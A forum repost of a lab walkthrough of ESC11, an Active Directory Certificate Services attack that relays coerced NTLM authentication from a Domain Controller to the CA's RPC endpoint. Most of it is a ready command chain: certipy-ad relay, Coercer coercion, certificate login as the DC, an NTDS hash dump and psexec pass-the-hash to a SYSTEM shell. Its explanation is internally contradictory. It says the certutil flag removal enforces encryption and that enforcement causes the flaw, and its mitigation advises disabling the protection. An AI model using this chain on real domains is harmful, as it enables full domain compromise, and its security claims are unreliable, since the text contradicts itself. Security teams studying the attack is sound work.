Статья Relaying NTLM to ICPR

[stihl]

ESC11 (Enterprise Security Control 11) represents a sophisticated attack path targeting Active Directory Certificate Services (AD CS), exploiting a dangerous combination of vulnerabilities. This advanced security threat leverages RPC-only certificate enrollment enforcement, NTLM relay vulnerabilities, and coercion techniques that force NTLM authentication from privileged machines, including Domain Controllers. As a result, ESC11 opens the door to potential escalated privileges and unauthorized access, making it a critical concern for organizations relying on AD CS for their certificate management. Understanding and mitigating ESC11’s risks are essential for securing Active Directory environments from these complex and evolving threats.

Table of Content​

• Overview the ESC11 Attack
• Key Misconfigurations Facilitating ESC11
• ESC8 vs ESC11 – How These Attacks Differ
• Prerequisites
• Lab Setup

Enumeration & Exploitation

• Coercion and RPC Relay Chain for Domain Controller Certificate Abuse

Post Exploitation

• Gain Full SYSTEM Shell via Impacket PsExec

Mitigation

Overview the ESC11 Attack​

ESC11 is an advanced attack path targeting Active Directory Certificate Services (AD CS), exploiting a dangerous combination of vulnerabilities. It leverages RPC-only certificate enrollment enforcement, vulnerable NTLM relay opportunities, and coercion techniques to force NTLM authentication from privileged machines, such as Domain Controllers.

In response to security concerns, Для просмотра ссылки Войди или Зарегистрируйся recommends setting a specific registry flag on Certificate Authorities to enforce encryption on certificate requests. The recommended command is:

certutil -setreg CA\InterfaceFlags -IF_ENFORCEENCRYPTICERTREQUEST

This ensures that all certificate requests are conducted through encrypted RPC rather than insecure channels like HTTP. However, this configuration ironically creates a potential vulnerability, as it opens the door for ESC11, especially when RPC endpoints remain susceptible to NTLM relay attacks.

Key Misconfigurations Facilitating ESC11​

• IF_ENFORCEENCRYPTICERTREQUEST Enabled: Forces RPC enrollment, making CA vulnerable to relay attacks over RPC
• Vulnerable Templates Published (e.g., DomainController): Templates that issue certificates usable for Kerberos authentication.
• Unprotected CA RPC Endpoints: No SMB signing, no Extended Protection for Authentication (EPA), and no NTLM relay protection.
• No Monitoring for Coercion Activity: Lack of logging for NTLM authentication coercion flows.

ESC8 vs ESC11 – How These Attacks Differ​

Для просмотра ссылки Войди или Зарегистрируйся and ESC11 are advanced attack paths that target Active Directory Certificate Services (AD CS), exploiting various vulnerabilities within the certificate enrollment process. While both attacks leverage NTLM relay techniques, they differ significantly in their methods, targets, and underlying weaknesses.

ESC8:

• Enrollment Target: Web Enrollment via HTTP.
• Authentication Path: NTLM relay over HTTP.
• Trigger Method: Uses PetitPotam and HTTP relay
• CA Setting Focus: Exploits web-based misconfigurations in the Certificate Authority settings.
• Templates Exploited: Primarily DomainController and User

ESC11:

• Enrollment Target: CA RPC Interface.
• Authentication Path: NTLM relay over RPC.
• Trigger Method: Utilizes Coercer or NXC tools combined with RPC relay
• CA Setting Focus: Leverages encrypted RPC requirement, specifically the IF_ENFORCEENCRYPTICERTREQUEST registry setting.
• Templates Exploited: Primarily the DomainController

Note: While organizations may mitigate ESC8 by disabling Web Enrollment or enforcing encrypted RPC certificate requests, ESC11 bypasses these defenses. Instead of abusing HTTP like ESC8, ESC11 exploits RPC-based certificate issuance, circumventing the encryption measures in place.

For this walkthrough, we will assume the following network setup as Prerequisites

Prerequisite​

• Windows Server 2019 as Active Directory that supports PKINIT
• Active Directory Certificate Services and Certificate Authority configured with RPC encryption enforcement enabled
• Kali Linux packed with tools
• Tools: NXC, Coercion, certipy-ad, Impacket-psexec

Lab Setup​

Note that we won’t delve into the full domain or ADCS deployment process here, but we’ll focus on the ESC11 exploitation technique, which targets RPC-based certificate issuance.

To simulate the defense against ESC8, the RPC encryption enforcement on the CA needs to be enabled. This action ensures that all certificate requests are encrypted, requiring the use of RPC for certificate enrollment. However, this security measure directly facilitates ESC11, allowing the attacker to pivot their attack from HTTP to RPC.

Enable RPC Encryption Enforcement on the CA

To enable this setting on the CA, run the following commands:

certutil -setreg CA\InterfaceFlags -IF_ENFORCEENCRYPTICERTREQUEST

This forces all certificate requests to the CA to happen over encrypted RPC channels, a requirement for triggering ESC11 via relay.

Note: Enabling RPC encryption secures certificate requests, but it also creates an opportunity for ESC11 to exploit the same channel.

Enumeration & Exploitation​

Coercion and RPC Relay Chain for Domain Controller Certificate Abuse​

Now that we’ve enabled RPC encryption enforcement on the Certificate Authority (CA), let’s begin the process of discovering vulnerable certificate templates that could be abused. Specifically, the DomainController template is often targeted in ESC11 because it allows computer accounts to request certificates, which could ultimately facilitate privilege escalation or further attacks on Domain Controllers.

Discover Vulnerable Certificate Templates​

To identify vulnerable certificate templates that can be abused, the following command can be run from the attacker’s machine (Kali):

certipy-ad find -u 'raj@ignite.local' -p 'Password@1' -dc-ip 192.168.1.4 -vulnerable

This command queries the Active Directory to find certificate templates that allow us to request certificates under conditions that could exploit RPC-based enrollment, particularly focusing on the DomainController template.

Let’s review the saved output

As we can see Encryption is not enforced for ICPR requests leaving a potential attack vector for ESC11 to exploit.

Initiate First Relay to the CA’s RPC Endpoint​

We initiate the first NTLM relay attempt toward the CA’s RPC endpoint using the following command:

certipy-ad relay -target "rpc://192.168.1.10" -ca "ignite-DC2-CA" -template DomainController

At this point, the relay listener is ready and waiting for NTLM authentication from a privileged machine. When authentication is captured, it will be relayed to the CA’s RPC interface for certificate enrollment under the DomainController template.

Coerce the DC to Authenticate (Trigger NTLM)​

At this stage, we need to force the Domain Controller (DC) at 192.169.1.4 to authenticate to our attacker-controlled relay machine at 192.168.1.11. We do this by using Coercer (or similar tools like PetitPotam or NXC) to manipulate the DC into sending its NTLM credentials to our listener. The command to trigger this is:

coercer coerce -l 192.168.1.11 -t 192.168.1.4 -d ignite.local -u raj -p Password@1

This uses Coercer to trick the DC into sending its NTLM credentials to our attacker relay listener. This NTLM flow is crucial for authenticating to the CA on behalf of the DC.

Relay Again to Capture the Domain Controller Certificate​

After capturing the NTLM authentication from the Domain Controller (DC), we trigger the relay once again to complete the certificate enrollment process. This is done with the following command:

certipy-ad relay -target "rpc: //192.168.1.10" -ca "ignite-DC2-CA" -template DomainController

At this point, the Certificate Authority (CA) issues a certificate for the DC account (e.g., dc1$). We then saves the resulting .pfx file (e.g., dc1.pfx), which contains the private keys. These keys are essential, as they enable Kerberos authentication as the Domain Controller itself.

With the .pfx file in hand, we now have full access to the private keys of the Domain Controller. These keys allow us to authenticate as the DC using Kerberos, which can lead to further escalation and unauthorized access within the domain.

Authenticate as the DC Using the Captured Certificate​

Use the stolen certificate to authenticate to AD as the DC machine account:

certipy-ad auth -pfx dc1.pfx -dc-ip 192.168.1.4 -ldap-shell

This provides LDAP shell access with machine-level privileges, giving the attacker capabilities like DCSync, group enumeration, and NTDS secrets extraction.

Extract Administrator Hash via NXC SMB Module​

Now that we have DC-level access, extract sensitive credentials:

nxc smb 192.168.1.4 --pfx-cert dc1.pfx -u "dc1$" --ntds --user Administrator

This dumps the NTDS.dit file and Administrator NTLM hash, providing the final key for full domain dominance.

Post Exploitation​

Gain Full SYSTEM Shell via Impacket PsExec​

Finally, use the Administrator hash to execute remote code on the Domain Controller:

impacket-psexec ignite.local/administrator@ignite.local -hashes :64fbae31cc352fc26af97cbdef151e03

This spawns a full SYSTEM shell on the DC, completing the ESC11 exploitation chain.

Mitigation​

• Disable or tightly control IF_ENFORCEENCRYPTICERTREQUEST
• Restrict NTLM relay opportunities: Enforce SMB signing and NTLM protections.
• Patch known relay vulnerabilities (PetitPotam, MS-RPRN, EFSRPC abuses).
• Restrict certificate template enrollment: Limit access to high-value templates like DomainController.
• Monitor for unusual certificate enrollment and RPC activity.

Для просмотра ссылки Войди или Зарегистрируйся